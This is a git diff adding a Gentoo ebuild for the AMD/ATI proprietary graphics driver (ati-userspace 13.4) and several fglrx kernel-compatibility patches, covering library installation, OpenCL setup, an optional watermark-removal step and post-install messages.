+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		local soname_one=${soname%.[0-9]}
+		local soname_zero=${soname_one%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/${soname_one}
+		dosym ${soname_one} /usr/$(get_libdir)/${soname_zero}
+	done
+
+	# See https://bugs.gentoo.org/show_bug.cgi?id=443466
+	dodir /etc/revdep-rebuild/
+	echo "SEARCH_DIRS_MASK=\"/opt/bin/clinfo\"" > "${ED}/etc/revdep-rebuild/62-ati-drivers"
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+
+	#install xvba sdk headers
+	doheader xvba_sdk/include/amdxvba.h
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+	elog
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+
+	if has_version ">=x11-drivers/xf86-video-intel-2.20.3"; then
+		ewarn "It is reported that xf86-video-intel-2.20.3 and later cause the X server"
+		ewarn "to crash on systems that use hybrid AMD/Intel graphics. If you experience"
+		ewarn "this crash, downgrade to xf86-video-intel-2.20.2 or earlier."
+		ewarn "For details, see https://bugs.gentoo.org/show_bug.cgi?id=430000"
+	fi
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/ati-userspace-13.4.ebuild b/x11-drivers/ati-userspace/ati-userspace-13.4.ebuild
new file mode 100644
index 00000000..82d348e4
--- /dev/null
+++ b/x11-drivers/ati-userspace/ati-userspace-13.4.ebuild
@@ -0,0 +1,487 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils multilib toolchain-funcs versionator pax-utils
+
+DESCRIPTION="Ati precompiled drivers for Radeon Evergreen (HD5000 Series) and newer chipsets"
+HOMEPAGE="http://www.amd.com"
+MY_V=( $(get_version_components) )
+#RUN="${WORKDIR}/amd-driver-installer-9.00-x86.x86_64.run"
+SLOT="1"
+[[ "${MY_V[2]}" =~  beta.* ]] && BETADIR="beta/" || BETADIR="linux/"
+if [[ legacy != ${SLOT} ]]; then
+	DRIVERS_URI="http://www2.ati.com/drivers/${BETADIR}amd-catalyst-${PV/_beta/-beta}-linux-x86.x86_64.zip"
+else
+	DRIVERS_URI="http://www2.ati.com/drivers/legacy/amd-driver-installer-catalyst-$(get_version_component_range 1-2)-$(get_version_component_range 3)-legacy-linux-x86.x86_64.zip"
+fi
+XVBA_SDK_URI="http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz"
+SRC_URI="${DRIVERS_URI} ${XVBA_SDK_URI}"
+FOLDER_PREFIX="common/"
+IUSE="debug multilib x-multilib static-libs +disable-watermark pax_kernel"
+
+LICENSE="AMD GPL-2 QPL-1.0"
+KEYWORDS="-* ~amd64 ~x86"
+RESTRICT="bindist test"
+
+RDEPEND="<=x11-base/xorg-server-1.13.49[-minimal]
+	!x11-drivers/ati-drivers:0
+	!x11-apps/ati-drivers-extra
+	>=app-admin/eselect-opengl-1.0.7
+	app-admin/eselect-opencl
+	sys-power/acpid
+	x11-apps/xauth
+	x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXinerama
+	x11-libs/libXrandr
+	x11-libs/libXrender
+	x-multilib? (
+			app-emulation/emul-linux-x86-opengl
+			app-emulation/emul-linux-x86-xlibs
+	)
+	!<x11-drivers/ati-userspace-${PV}
+	!>x11-drivers/ati-userspace-${PV}"
+
+DEPEND="${RDEPEND}
+	x11-proto/inputproto
+	x11-proto/xf86miscproto
+	x11-proto/xf86vidmodeproto
+	x11-proto/xineramaproto
+	x11-libs/libXtst
+	sys-apps/findutils
+	app-misc/pax-utils
+	app-arch/unzip
+"
+
+EMULTILIB_PKG="true"
+
+S="${WORKDIR}"
+
+# QA Silencing
+QA_TEXTRELS="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/libatiadlxx.so
+	usr/lib*/xorg/modules/glesx.so
+	usr/lib*/libaticaldd.so
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_EXECSTACK="
+	opt/bin/atiode
+	opt/bin/amdcccle
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_WX_LOAD="
+	usr/lib*/opengl/ati/lib/libGL.so.1.2
+	usr/lib*/dri/fglrx_dri.so
+"
+
+QA_PRESTRIPPED="
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+"
+
+QA_SONAME="
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libamdocl\(32\|64\)\?.so
+"
+
+QA_DT_HASH="
+	opt/bin/amdcccle
+	opt/bin/aticonfig
+	opt/bin/atiodcli
+	opt/bin/atiode
+	opt/bin/clinfo
+	opt/bin/fglrxinfo
+	opt/sbin/atieventsd
+	opt/sbin/amdnotifyui
+	usr/lib\(32\|64\)\?/libaticalcl.so
+	usr/lib\(32\|64\)\?/libaticalrt.so
+	usr/lib\(32\|64\)\?/libatiuki.so.1.0
+	usr/lib\(32\|64\)\?/libatiadlxx.so
+	usr/lib\(32\|64\)\?/libfglrx_dm.so.1.0
+	usr/lib\(32\|64\)\?/libXvBAW.so.1.0
+	usr/lib\(32\|64\)\?/libAMDXvBA.so.1.0
+	usr/lib\(32\|64\)\?/xorg/modules/amdxmm.so
+	usr/lib\(32\|64\)\?/xorg/modules/glesx.so
+	usr/lib\(32\|64\)\?/xorg/modules/linux/libfglrxdrm.so
+	usr/lib\(32\|64\)\?/xorg/modules/drivers/fglrx_drv.so
+	usr/lib\(32\|64\)\?/libaticaldd.so
+	usr/lib\(32\|64\)\?/dri/fglrx_dri.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/extensions/fglrx-libglx.so
+	usr/lib\(32\|64\)\?/opengl/ati/lib/fglrx-libGL.so.1.2
+	usr/lib\(32\|64\)\?/opengl/ati/lib/libGL.so.1.2
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libamdocl\(32\|64\)\?.so
+	usr/lib\(32\|64\)\?/OpenCL/vendors/amd/libOpenCL.so.1
+"
+
+pkg_setup() {
+	# get the xorg-server version and set BASE_DIR for that
+	BASE_DIR="${S}/xpic"
+
+	# amd64/x86
+	if use amd64 ; then
+		MY_BASE_DIR="${BASE_DIR}_64a"
+		PKG_LIBDIR=lib64
+		ARCH_DIR="${S}/arch/x86_64"
+	else
+		MY_BASE_DIR="${BASE_DIR}"
+		PKG_LIBDIR=lib
+		ARCH_DIR="${S}/arch/x86"
+	fi
+
+	elog
+	elog "Please note that this driver only supports graphic cards based on"
+	elog "Evergreen chipset and newer."
+	elog "This includes the AMD Radeon HD 5400+ series at this moment."
+	elog
+	elog "If your card is older then use ${CATEGORY}/xf86-video-ati"
+	elog "For migration information please refer to:"
+	elog "http://www.gentoo.org/proj/en/desktop/x/x11/ati-migration-guide.xml"
+	einfo
+}
+
+src_unpack() {
+	local DRIVERS_DISTFILE XVBA_SDK_DISTFILE
+	DRIVERS_DISTFILE=${DRIVERS_URI##*/}
+	XVBA_SDK_DISTFILE=${XVBA_SDK_URI##*/}
+
+	if [[ ${DRIVERS_DISTFILE} =~ .*\.tar\.gz ]]; then
+		unpack ${DRIVERS_DISTFILE}
+	else
+		#please note, RUN may be insanely assigned at top near SRC_URI
+		if [[ ${DRIVERS_DISTFILE} =~ .*\.zip ]]; then
+			unpack ${DRIVERS_DISTFILE}
+			[[ -z "$RUN" ]] && RUN="${S}/${DRIVERS_DISTFILE/%.zip/.run}"
+		else
+			RUN="${DISTDIR}/${DRIVERS_DISTFILE}"
+		fi
+		sh ${RUN} --extract "${S}" 2>&1 > /dev/null || die
+	fi
+
+	mkdir xvba_sdk
+	cd xvba_sdk
+	unpack ${XVBA_SDK_DISTFILE}
+}
+
+src_prepare() {
+	# These are the userspace utilities that we also have source for.
+	# We rebuild these later.
+	rm \
+		"${ARCH_DIR}"/usr/X11R6/bin/fgl_glxgears \
+		|| die "bin rm failed"
+
+        # amdcccle is shipped separately
+        rm "${ARCH_DIR}"/usr/X11R6/bin/amdcccle || die "cannot rm amdcccle"
+
+	# ACPI fixups
+	sed -i \
+		-e "s:/var/lib/xdm/authdir/authfiles/:/var/run/xauth/:" \
+		-e "s:/var/lib/gdm/:/var/gdm/:" \
+		"${S}/${FOLDER_PREFIX}etc/ati/authatieventsd.sh" \
+		|| die "sed failed."
+
+	# Since "who" is in coreutils, we're using that one instead of "finger".
+	sed -i -e 's:finger:who:' \
+		"${S}/${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi/ati-powermode.sh" \
+		|| die "Replacing 'finger' with 'who' failed."
+	# Adjust paths in the script from /usr/X11R6/bin/ to /opt/bin/ and
+	# add function to detect default state.
+	epatch "${FILESDIR}"/ati-powermode-opt-path-3.patch
+
+	# see http://ati.cchtml.com/show_bug.cgi?id=495
+	#epatch "${FILESDIR}"/ati-drivers-old_rsp.patch
+	# first hunk applied upstream second (x32 related) was not
+	epatch "${FILESDIR}"/ati-drivers-x32_something_something.patch
+
+	# compile fix for AGP-less kernel, bug #435322
+	epatch "${FILESDIR}"/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
+
+	# Compile fix, https://bugs.gentoo.org/show_bug.cgi?id=454870
+	use pax_kernel && epatch "${FILESDIR}/const-notifier-block.patch"
+
+	cd "${S}"
+	mkdir extra || die "mkdir failed"
+	cd extra
+	unpack ./../${FOLDER_PREFIX}usr/src/ati/fglrx_sample_source.tgz
+
+	# Get rid of watermark. Oldest known reference:
+	# http://phoronix.com/forums/showthread.php?19875-Unsupported-Hardware-watermark
+	if use disable-watermark; then
+		ebegin "Disabling watermark"
+		driver="${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+		for x in $(objdump -d ${driver}|awk '/call/&&/EnableLogo/{print "\\x"$2"\\x"$3"\\x"$4"\\x"$5"\\x"$6}'); do
+		sed -i "s/${x/x5b/\x5b}/\x90\x90\x90\x90\x90/g" ${driver} || break 1
+		done
+		eend $? || die "Disabling watermark failed"
+	fi
+}
+
+src_compile() {
+	ebegin "Building fgl_glxgears"
+	cd "${S}"/extra/fgl_glxgears
+	# These extra libs/utils either have an Imakefile that does not
+	# work very well without tweaking or a Makefile ignoring CFLAGS
+	# and the like. We bypass those.
+	# The -DUSE_GLU is needed to compile using nvidia headers
+	# according to a comment in ati-drivers-extra-8.33.6.ebuild.
+	"$(tc-getCC)" -o fgl_glxgears ${CFLAGS} ${LDFLAGS} -DUSE_GLU \
+		-I"${S}"/${FOLDER_PREFIX}usr/include fgl_glxgears.c \
+		-lGL -lGLU -lX11 -lm || die "fgl_glxgears build failed"
+	eend $?
+}
+
+src_test() { :; } # no tests present
+
+src_install() {
+	# We can do two things here, and neither of them is very nice.
+
+	# For direct rendering libGL has to be able to load one or more
+	# dri modules (files ending in _dri.so, like fglrx_dri.so).
+	# Gentoo's mesa looks for these files in the location specified by
+	# LIBGL_DRIVERS_PATH or LIBGL_DRIVERS_DIR, then in the hardcoded
+	# location /usr/$(get_libdir)/dri. Ati's libGL does the same
+	# thing, but the hardcoded location is /usr/X11R6/lib/modules/dri
+	# on x86 and amd64 32bit, /usr/X11R6/lib64/modules/dri on amd64
+	# 64bit. So we can either put the .so files in that (unusual,
+	# compared to "normal" mesa libGL) location or set
+	# LIBGL_DRIVERS_PATH. We currently do the latter. See also bug
+	# 101539.
+
+	# The problem with this approach is that LIBGL_DRIVERS_PATH
+	# *overrides* the default hardcoded location, it does not extend
+	# it. So if ati-drivers is merged but a non-ati libGL is selected
+	# and its hardcoded path does not match our LIBGL_DRIVERS_PATH
+	# (because it changed in a newer mesa or because it was compiled
+	# for a different set of multilib abis than we are) stuff breaks.
+
+	# We create one file per ABI to work with "native" multilib, see
+	# below.
+
+	echo "COLON_SEPARATED=LIBGL_DRIVERS_PATH" > "${T}/03ati-colon-sep"
+	doenvd "${T}/03ati-colon-sep" || die
+
+	# All libraries that we have a 32 bit and 64 bit version of on
+	# amd64 are installed in src_install-libs. Everything else
+	# (including libraries only available in native 64bit on amd64)
+	# goes in here.
+
+	# There used to be some code here that tried to detect running
+	# under a "native multilib" portage ((precursor of)
+	# http://dev.gentoo.org/~kanaka/auto-multilib/). I removed that, it
+	# should just work (only doing some duplicate work). --marienz
+	if has_multilib_profile && use multilib; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis); do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	# This is sorted by the order the files occur in the source tree.
+
+	# X modules.
+	exeinto /usr/$(get_libdir)/xorg/modules/drivers
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/drivers/fglrx_drv.so
+	exeinto /usr/$(get_libdir)/xorg/modules/linux
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/linux/libfglrxdrm.so
+	exeinto /usr/$(get_libdir)/xorg/modules
+	doexe "${MY_BASE_DIR}"/usr/X11R6/${PKG_LIBDIR}/modules/{glesx.so,amdxmm.so}
+
+	# Arch-specific files.
+	# (s)bin.
+	into /opt
+	dosbin "${ARCH_DIR}"/usr/sbin/atieventsd
+	dobin "${ARCH_DIR}"/usr/bin/clinfo
+	# We cleaned out the compilable stuff in src_unpack
+	dobin "${ARCH_DIR}"/usr/X11R6/bin/*
+
+	# Common files.
+	# etc.
+	insinto /etc/ati
+	exeinto /etc/ati
+	# Everything except for the authatieventsd.sh script.
+	doins ${FOLDER_PREFIX}etc/ati/{logo*,control,atiogl.xml,signature,amdpcsdb.default}
+	doexe ${FOLDER_PREFIX}etc/ati/authatieventsd.sh
+
+	# include.
+	insinto /usr
+	doins -r ${FOLDER_PREFIX}usr/include
+	insinto /usr/include/X11/extensions
+
+	# Just the atigetsysteminfo.sh script.
+	into /usr
+	dosbin ${FOLDER_PREFIX}usr/sbin/*
+
+	# doc.
+	dohtml -r ${FOLDER_PREFIX}usr/share/doc/fglrx
+
+	doman ${FOLDER_PREFIX}usr/share/man/man8/atieventsd.8
+
+	pushd ${FOLDER_PREFIX}usr/share/doc/fglrx/examples/etc/acpi > /dev/null
+
+	exeinto /etc/acpi
+	doexe ati-powermode.sh
+	insinto /etc/acpi/events
+	doins events/*
+
+	popd > /dev/null
+
+	# Done with the "source" tree. Install tools we rebuilt:
+	dobin extra/fgl_glxgears/fgl_glxgears
+	newdoc extra/fgl_glxgears/README README.fgl_glxgears
+
+	# Gentoo-specific stuff:
+	newinitd "${FILESDIR}"/atieventsd.init atieventsd
+	echo 'ATIEVENTSDOPTS=""' > "${T}"/atieventsd.conf
+	newconfd "${T}"/atieventsd.conf atieventsd
+
+	# PowerXpress stuff
+	exeinto /usr/$(get_libdir)/fglrx
+	doexe "${FILESDIR}"/switchlibGL || die "doexe switchlibGL failed"
+	cp "${FILESDIR}"/switchlibGL "${T}"/switchlibglx
+	doexe "${T}"/switchlibglx || die "doexe switchlibglx failed"
+}
+
+src_install-libs() {
+	if [[ "${ABI}" == "amd64" ]]; then
+		local EX_BASE_DIR="${BASE_DIR}_64a"
+		local pkglibdir=lib64
+		local MY_ARCH_DIR="${S}/arch/x86_64"
+		local oclsuffix=64
+	else
+		local EX_BASE_DIR="${BASE_DIR}"
+		local pkglibdir=lib
+		local MY_ARCH_DIR="${S}/arch/x86"
+		local oclsuffix=32
+	fi
+	einfo "ati tree '${pkglibdir}' -> '$(get_libdir)' on system"
+
+	local ATI_ROOT=/usr/$(get_libdir)/opengl/ati
+	# To make sure we do not miss a spot when these change.
+	local libmajor=1 libminor=2
+	local libver=${libmajor}.${libminor}
+
+	# The GLX libraries
+	# (yes, this really is "lib" even on amd64/multilib --marienz)
+	exeinto ${ATI_ROOT}/lib
+	newexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/fglrx/fglrx-libGL.so.${libver} \
+		libGL.so.${libver}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so.${libmajor}
+	dosym libGL.so.${libver} ${ATI_ROOT}/lib/libGL.so
+
+	exeinto ${ATI_ROOT}/extensions
+	doexe "${EX_BASE_DIR}"/usr/X11R6/${pkglibdir}/modules/extensions/fglrx/fglrx-libglx.so
+	mv "${D}"/${ATI_ROOT}/extensions/{fglrx-,}libglx.so
+
+	# other libs
+	exeinto /usr/$(get_libdir)
+	# Everything except for the libGL.so installed some row above
+	doexe $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -name '*.so*' -not -name '*libGL.so*')
+	insinto /usr/$(get_libdir)
+	doins $(find "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir} \
+		-maxdepth 1 -type f -not -name '*.so*')
+
+	# DRI modules, installed into the path used by recent versions of mesa.
+	exeinto /usr/$(get_libdir)/dri
+	doexe "${MY_ARCH_DIR}"/usr/X11R6/${pkglibdir}/modules/dri/fglrx_dri.so
+
+	# AMD Cal and OpenCL libraries
+	exeinto /usr/$(get_libdir)/OpenCL/vendors/amd
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libamdocl*.so*
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libOpenCL*.so*
+	dosym libOpenCL.so.${libmajor} /usr/$(get_libdir)/OpenCL/vendors/amd/libOpenCL.so
+	exeinto /usr/$(get_libdir)
+	doexe "${MY_ARCH_DIR}"/usr/${pkglibdir}/libati*.so*
+
+	# OpenCL vendor files
+	insinto /etc/OpenCL/vendors/
+	cat > "${T}"/amdocl${oclsuffix}.icd <<-EOF
+		/usr/$(get_libdir)/OpenCL/vendors/amd/libamdocl${oclsuffix}.so
+	EOF
+	doins "${T}"/amdocl${oclsuffix}.icd
+
+	local envname="${T}"/04ati-dri-path
+	if [[ -n ${ABI} ]]; then
+		envname="${envname}-${ABI}"
+	fi
+	echo "LIBGL_DRIVERS_PATH=/usr/$(get_libdir)/dri" > "${envname}"
+	doenvd "${envname}"
+
+	# Silence the QA notice by creating missing soname symlinks
+	for so in $(find "${D}"/usr/$(get_libdir) -maxdepth 1 -name *.so.[0-9].[0-9])
+	do
+		local soname=${so##*/}
+		local soname_one=${soname%.[0-9]}
+		local soname_zero=${soname_one%.[0-9]}
+		dosym ${soname} /usr/$(get_libdir)/${soname_one}
+		dosym ${soname_one} /usr/$(get_libdir)/${soname_zero}
+	done
+
+	# See https://bugs.gentoo.org/show_bug.cgi?id=443466
+	dodir /etc/revdep-rebuild/
+	echo "SEARCH_DIRS_MASK=\"/opt/bin/clinfo\"" > "${ED}/etc/revdep-rebuild/62-ati-drivers"
+
+	#remove static libs if not wanted
+	use static-libs || rm -rf "${D}"/usr/$(get_libdir)/libfglrx_dm.a
+
+	#install xvba sdk headers
+	doheader xvba_sdk/include/amdxvba.h
+
+	if use pax_kernel; then
+		pax-mark m "${D}"/usr/lib*/opengl/ati/lib/libGL.so.1.2 || die "pax-mark failed"
+	fi
+}
+
+pkg_postinst() {
+	elog "To switch to AMD OpenGL, run \"eselect opengl set ati\""
+	elog "To change your xorg.conf you can use the bundled \"aticonfig\""
+	elog
+	elog "If you experience unexplained segmentation faults and kernel crashes"
+	elog "with this driver and multi-threaded applications such as wine,"
+	elog "set UseFastTLS in xorg.conf to either 0 or 1, but not 2."
+	elog
+	elog "Fully rebooting the system after an ${PN} update is recommended"
+	elog "Stopping Xorg, reloading fglrx kernel module and restart Xorg"
+	elog "might not work"
+	elog
+	elog "Some cards need acpid running to handle events"
+	elog "Please add it to boot runlevel with rc-update add acpid boot"
+	elog
+
+	"${ROOT}"/usr/bin/eselect opengl set --use-old ati
+	"${ROOT}"/usr/bin/eselect opencl set --use-old amd
+
+	if has_version ">=x11-drivers/xf86-video-intel-2.20.3"; then
+		ewarn "It is reported that xf86-video-intel-2.20.3 and later cause the X server"
+		ewarn "to crash on systems that use hybrid AMD/Intel graphics. If you experience"
+		ewarn "this crash, downgrade to xf86-video-intel-2.20.2 or earlier."
+		ewarn "For details, see https://bugs.gentoo.org/show_bug.cgi?id=430000"
+	fi
+}
+
+pkg_prerm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/ati-userspace/files/amd-drivers-3.2.7.1.patch b/x11-drivers/ati-userspace/files/amd-drivers-3.2.7.1.patch
new file mode 100644
index 00000000..104c8788
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/amd-drivers-3.2.7.1.patch
@@ -0,0 +1,19 @@
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -5797,10 +5797,16 @@ void ATI_API_CALL KCL_fpu_begin(void)
+ #ifdef CONFIG_X86_64
+     kernel_fpu_begin();
+ #else
++#ifndef TS_USEDFPU
++    preempt_disable();
++    if (__thread_has_fpu(current))
++        __save_init_fpu(current);
++#else
+     struct thread_info *cur_task = current_thread_info();
+     preempt_disable();
+     if (cur_task->status & TS_USEDFPU)
+         __save_init_fpu(cur_task->task);
++#endif
+     else
+         clts();
+ #endif
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-12.2-redefine-WARN.patch b/x11-drivers/ati-userspace/files/ati-drivers-12.2-redefine-WARN.patch
new file mode 100644
index 00000000..f4fab432
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-12.2-redefine-WARN.patch
@@ -0,0 +1,42 @@
+--- common/lib/modules/fglrx/build_mod/kcl_debug.h.orig	2012-03-08 19:30:38.195025328 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_debug.h	2012-03-08 19:31:24.976024507 +0100
+@@ -85,8 +85,8 @@
+ #ifdef ERROR
+ #undef ERROR
+ #endif
+-#ifdef WARN
+-#undef WARN
++#ifdef AMD_WARN
++#undef AMD_WARN
+ #endif
+ #ifdef INFO
+ #undef INFO
+@@ -122,7 +122,7 @@
+ {
+     SPECIAL = 0,
+     ERROR  ,
+-    WARN  ,
++    AMD_WARN  ,
+     INFO ,
+     INFOEX,
+     TRACE,
+@@ -160,7 +160,7 @@
+ }log_map;
+ 
+ 
+-#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
++#define DEFAULT_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX) |___BIT(ERROR) |___BIT(AMD_WARN) | ___BIT(TRACE)| ___BIT(SPECIAL)  ))
+ #define INFO_LOG_LEVEL ((U08)(___BIT(INFO) | ___BIT(INFOEX)))
+ extern const log_map module_log_map[];
+ extern const module_map module_type_map[];
+--- common/lib/modules/fglrx/build_mod/kcl_debug.c.orig	2012-03-08 19:36:18.244019310 +0100
++++ common/lib/modules/fglrx/build_mod/kcl_debug.c	2012-03-08 19:36:36.197018973 +0100
+@@ -69,7 +69,7 @@
+ {
+     {SPECIAL        ,   'S'},
+     {ERROR          ,   'E'},
+-    {WARN           ,   'W'},
++    {AMD_WARN           ,   'W'},
+     {INFO           ,   'I'},
+     {INFOEX         ,   'X'},
+     {TRACE          ,   'T'},
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch b/x11-drivers/ati-userspace/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
new file mode 100644
index 00000000..0ea461b8
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-12.9-KCL_AGP_FindCapsRegisters-stub.patch
@@ -0,0 +1,27 @@
+From: Vasiliy Yeremeyev <vayerx@gmail.com>
+Date: Sun, 4 Nov 2012 23:59:36 +0400
+Subject: [PATCH] KCL_AGP_FindCapsRegisters stub for AGP-less systems
+
+---
+ common/lib/modules/fglrx/build_mod/kcl_agp.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/common/lib/modules/fglrx/build_mod/kcl_agp.c b/common/lib/modules/fglrx/build_mod/kcl_agp.c
+index b9c0655..cb1902b 100644
+--- a/common/lib/modules/fglrx/build_mod/kcl_agp.c
++++ b/common/lib/modules/fglrx/build_mod/kcl_agp.c
+@@ -479,6 +479,11 @@ int ATI_API_CALL KCL_AGP_Enable(unsigned long mode)
+     return -EINVAL;
+ }
+ 
++int ATI_API_CALL KCL_AGP_FindCapsRegisters(KCL_PCI_DevHandle dev)
++{
++    return -EINVAL;
++}
++
+ int ATI_API_CALL KCL_AGP_ReadCapsRegisters(KCL_PCI_DevHandle dev, unsigned int *caps)
+ {
+     return -EINVAL;
+-- 
+1.7.12
+
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-2.6.33.patch b/x11-drivers/ati-userspace/files/ati-drivers-2.6.33.patch
new file mode 100644
index 00000000..85f9aff7
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-2.6.33.patch
@@ -0,0 +1,140 @@
+--- work.orig/common/lib/modules/fglrx/build_mod/drmP.h
++++ work/common/lib/modules/fglrx/build_mod/drmP.h
+@@ -42,7 +42,11 @@
+  * can build the DRM (part of PI DRI). 4/21/2000 S + B */
+ #include <asm/current.h>
+ #endif /* __alpha__ */
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/module.h>
+ #include <linux/kernel.h>
+ #include <linux/miscdevice.h>
+--- work.orig/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ work/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -28,7 +28,11 @@
+ #error Kernel versions older than 2.6.0 are no longer supported by this module.
+ #endif 
+ 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ 
+ #if !defined(CONFIG_X86) 
+ #if !defined(CONFIG_X86_PC) 
+@@ -163,8 +167,12 @@
+ 
+ //  For 2.6.18 or higher, the UTS_RELEASE is defined in the linux/utsrelease.h. 
+ #ifndef UTS_RELEASE 
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/utsrelease.h>
++#else
+ #include <linux/utsrelease.h>
+ #endif
++#endif
+ 
+ #if defined(__i386__)
+ #ifndef do_div
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_acpi.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_acpi.c
+@@ -15,7 +15,11 @@
+  ****************************************************************************/
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
+ #include <linux/acpi.h>
+ 
+ #include "kcl_config.h"
+--- work.orig/common/lib/modules/fglrx/build_mod/kcl_agp.c
++++ work/common/lib/modules/fglrx/build_mod/kcl_agp.c
+@@ -31,7 +31,11 @@
+  */
+ 
+ #include <linux/version.h>
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,33)
++#include <generated/autoconf.h>
++#else
+ #include <linux/autoconf.h>
++#endif
